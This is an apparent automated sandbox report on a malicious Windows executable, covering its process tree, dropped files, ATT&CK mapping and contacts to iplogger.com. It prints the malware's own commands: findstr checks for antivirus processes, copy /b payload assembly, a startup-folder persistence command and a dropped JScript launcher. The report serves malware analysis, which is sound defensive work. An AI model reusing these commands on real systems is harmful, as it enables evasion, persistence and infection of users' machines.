Code function: 10_2_00E35CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

10_2_00E35CAC

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E588CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

10_2_00E588CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E2A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00E2A385
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E2A354 SetUnhandledExceptionFilter,	10_2_00E2A354
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0090A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0090A385
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0090A354 SetUnhandledExceptionFilter,	16_2_0090A354

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E59369 LogonUserW,

10_2_00E59369

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E15240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00E15240

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E61AC6 SendInput,keybd_event,

10_2_00E61AC6

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E651E2 mouse_event,

10_2_00E651E2

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 103495	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "aroundaccommodategroupseverything" Fine	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif Powder.pif n	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\guardiancryptoelite.url" & echo url="c:\users\user\appdata\local\guardiancrypto systems inc\guardiancryptoelite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\guardiancryptoelite.url" & exit
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\guardiancryptoelite.url" & echo url="c:\users\user\appdata\local\guardiancrypto systems inc\guardiancryptoelite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\guardiancryptoelite.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

10_2_00E588CD

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E64F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

10_2_00E64F1C

Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.0000000002980000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmp, Powder.pif, 0000000A.00000003.1761264512.0000000004589000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Powder.pif, GuardianCryptoElite.scr	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E2885B cpuid

10_2_00E2885B

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E40030 GetLocalTime,__swprintf,

10_2_00E40030

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E40722 GetUserNameW,

10_2_00E40722

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E3416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

10_2_00E3416A

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: GuardianCryptoElite.scr	Binary or memory string: WIN_81
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_XP
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_XPe
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_VISTA
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_7
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_8
Source: Serious.0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E7696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	10_2_00E7696E
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E76E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	10_2_00E76E32
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0095696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	16_2_0095696E
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00956E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	16_2_00956E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 Software Packing	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	11 Masquerading	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cW5i0RdQ4L.exe	14%	Virustotal		Browse
cW5i0RdQ4L.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	5%	ReversingLabs
C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	10%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\103495\Powder.pif	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\103495\Powder.pif	10%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
iplogger.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://www.autoitscript.com/autoit3/J	0%	Virustotal		Browse
https://iplogger.com/R	1%	Virustotal		Browse
https://iplogger.com/m	1%	Virustotal		Browse
https://www.autoitscript.com/autoit3/	0%	Virustotal		Browse
https://iplogger.com/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
iplogger.com	104.21.76.57	true	false	1%, Virustotal, Browse	unknown
SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://iplogger.com/15RZZ4	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://iplogger.com/15RZZ4O	Powder.pif, 0000000A.00000002.3572166645.00000000043D6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.autoitscript.com/autoit3/J	cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000010.00000002.3570670968.00000000009A9000.00000002.00000001.01000000.0000000A.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	false	0%, Virustotal, Browse	unknown
https://iplogger.com/m	GuardianCryptoElite.scr, 00000010.00000002.3572129134.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://iplogger.com/15RZZ4eListcessId;	GuardianCryptoElite.scr, 00000010.00000002.3571413798.000000000153A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	cW5i0RdQ4L.exe	false	URL Reputation: safe	unknown
https://iplogger.com/15RZZ40	Powder.pif, 0000000A.00000002.3571443767.0000000001B30000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.autoitscript.com/autoit3/	cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	false	0%, Virustotal, Browse	unknown
https://iplogger.com/R	GuardianCryptoElite.scr, 00000010.00000002.3572129134.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://iplogger.com/	Powder.pif, 0000000A.00000002.3571443767.00000000019C9000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.76.57	iplogger.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532361
Start date and time:	2024-10-13 02:06:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cW5i0RdQ4L.exe renamed because original name is a hash value
Original Sample Name:	c065ba22909fc8dbded4ea0eebb24ad5.exe
Detection:	MAL
Classification:	mal96.expl.evad.winEXE@28/18@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 104 Number of non-executed functions: 297
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:07:32	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url
20:08:07	API Interceptor	7056x Sleep call for process: Powder.pif modified
20:08:23	API Interceptor	6074x Sleep call for process: GuardianCryptoElite.scr modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.76.57	Activator by URKE v2.5.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Trojan.DownLoaderNET.786.13278.22147.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	DarkTortilla, PureLog Stealer	Browse
	file.exe	Get hash	malicious	DarkTortilla	Browse
	Setup3.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.DownLoaderNET.786.29532.16195.exe	Get hash	malicious	DarkTortilla, Neoreklami	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, Neoreklami, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	LisectAVT_2403002A_340.exe	Get hash	malicious	Cryptbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
iplogger.com	Activator by URKE v2.5.exe	Get hash	malicious	LummaC	Browse	172.67.188.178
	SecuriteInfo.com.Trojan.DownLoaderNET.786.13278.22147.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	file.exe	Get hash	malicious	DarkTortilla, PureLog Stealer	Browse	104.21.76.57
	file.exe	Get hash	malicious	DarkTortilla	Browse	104.21.76.57
	Setup3.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	file.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	SecuriteInfo.com.W32.MSIL_Kryptik.EQI.gen.Eldorado.19106.7830.exe	Get hash	malicious	DarkTortilla	Browse	172.67.188.178
	file.exe	Get hash	malicious	DarkTortilla	Browse	172.67.188.178
	yLfAxBEcuo.exe	Get hash	malicious	Cryptbot, Vidar, Xmrig	Browse	172.67.188.178

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	OceanicTools.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	Setup-Premium.exe	Get hash	malicious	LummaC	Browse	104.21.79.35
	v.1.6.3__x64__.msi	Get hash	malicious	LegionLoader	Browse	172.67.221.87
	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	FluxusV2.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.3.16
	Solara.exe	Get hash	malicious	LummaC	Browse	104.21.77.78
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	OceanicTools.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.76.57
	v.1.6.3__x64__.msi	Get hash	malicious	LegionLoader	Browse	104.21.76.57
	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.76.57
	bot.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.76.57
	narud#U017ebenica TISAKOMERC d.o.oRadbrkkedes234525262623.wsf	Get hash	malicious	Remcos, GuLoader	Browse	104.21.76.57
	v.1.5.4__x64__.msi	Get hash	malicious	LegionLoader	Browse	104.21.76.57
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	Synaptics.exe	Get hash	malicious	XRed	Browse	104.21.76.57

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	67079aecc452b_xin.exe	Get hash	malicious	Unknown	Browse
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse
	hlyG1m5UmO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	M13W1o3scc.exe	Get hash	malicious	Stealc	Browse
	down.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	InstallSetup.exe	Get hash	malicious	Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\103495\Powder.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	200
Entropy (8bit):	4.7726006397149705
Encrypted:	false
SSDEEP:	6:RiJBJHonwWDKaJkDB+Mak7WkMu8HMaz7ywWDKaJkDB+Mak7WkMu05M:YJ7QjWaCzaUW5iaKWaCzaUW54
MD5:	BFDBD4EE5EB9C2BDFA1F82BDFBC7BD5E
SHA1:	54C5BB227D5D70B78F24070733240AE4BFCCB4C3
SHA-256:	A083D0F2ACB982E82B982304EB96F97C8AFD3C9762A57F1835ABBA1A50D06DF3
SHA-512:	3B64BE15C7652FC1585B0857A4BBFDD1038F621E9605C377BBE8E96F98AFC168FD599C77AD2717711272426DF1486D63D5A06546BD02D69BCA6D4DF7969015D1
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\GuardianCrypto Systems Inc\\GuardianCryptoElite.scr\" \"C:\\Users\\user\\AppData\\Local\\GuardianCrypto Systems Inc\\O\"")

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Download File

Process:	C:\Users\user\AppData\Local\Temp\103495\Powder.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 10%, Browse
Joe Sandbox View:	Filename: 67079aecc452b_xin.exe, Detection: malicious, Browse Filename: 6706e721f2c06.exe, Detection: malicious, Browse Filename: hlyG1m5UmO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: M13W1o3scc.exe, Detection: malicious, Browse Filename: down.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: InstallSetup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O

Download File

Process:	C:\Users\user\AppData\Local\Temp\103495\Powder.pif
File Type:	data
Category:	dropped
Size (bytes):	589559
Entropy (8bit):	7.999707598770209
Encrypted:	true
SSDEEP:	12288:+WPM1wUWq0fYgJafcwbk88kntuz+WrR9sv9mkkNVTJMa:+WPiwfqGYgAfnU6CR9Pk+TJMa
MD5:	D61BFD64FBF003BA89A0038E38339DF6
SHA1:	EF8F3EA9AA749EA516E2D62AE586680C4E14D4E5
SHA-256:	3133DFE772AFBE5FFD178038BEE3FF413665EC29A5565881D63BBB5370C58AF2
SHA-512:	56FBB30D2358297E662F19A6236C9E039D4EF78B97BAF34508A04C80388483B5EE17DD2CBA97A3BBBDCB4E28CE7D9322CFCAB3974718C65945265591E86BA09F
Malicious:	false
Preview:	oc...A.Pr;.........n.@..."w<..s...D1...........m..T#.}..}r.\|.o..;d.T.0pI..a.J1.Q..r.d....Jw.-.....G...h$...}.13AW.o}...J{.\....^.....8.N...%H..5...2S..h...j+yu....W..../$..%35E....,;.........S~.G.v...[$..~.i...4`^..)...U.KKX.l..%.=........2r.... .........}!..}~.B.Y?!.w...#..O..K.h?E..J..>4.........ox5......_.v.>..U.&_oBV.ko....(k....f...8.wZ!....K...f,"T,)...7Z_.m.@J\.&....I......-....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....D.M.'.F...h............................kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..w.R..,P..Myn.2..t.W.....\|...0....R.....9.........m.......q8.5...x..2).U.j....>.p#.~.<...(..-...8..O....<{.,..}#......I......'..V-.._..`ER....Og].%..b.q

C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 10%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\103495\n

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	589559
Entropy (8bit):	7.999707598770209
Encrypted:	true
SSDEEP:	12288:+WPM1wUWq0fYgJafcwbk88kntuz+WrR9sv9mkkNVTJMa:+WPiwfqGYgAfnU6CR9Pk+TJMa
MD5:	D61BFD64FBF003BA89A0038E38339DF6
SHA1:	EF8F3EA9AA749EA516E2D62AE586680C4E14D4E5
SHA-256:	3133DFE772AFBE5FFD178038BEE3FF413665EC29A5565881D63BBB5370C58AF2
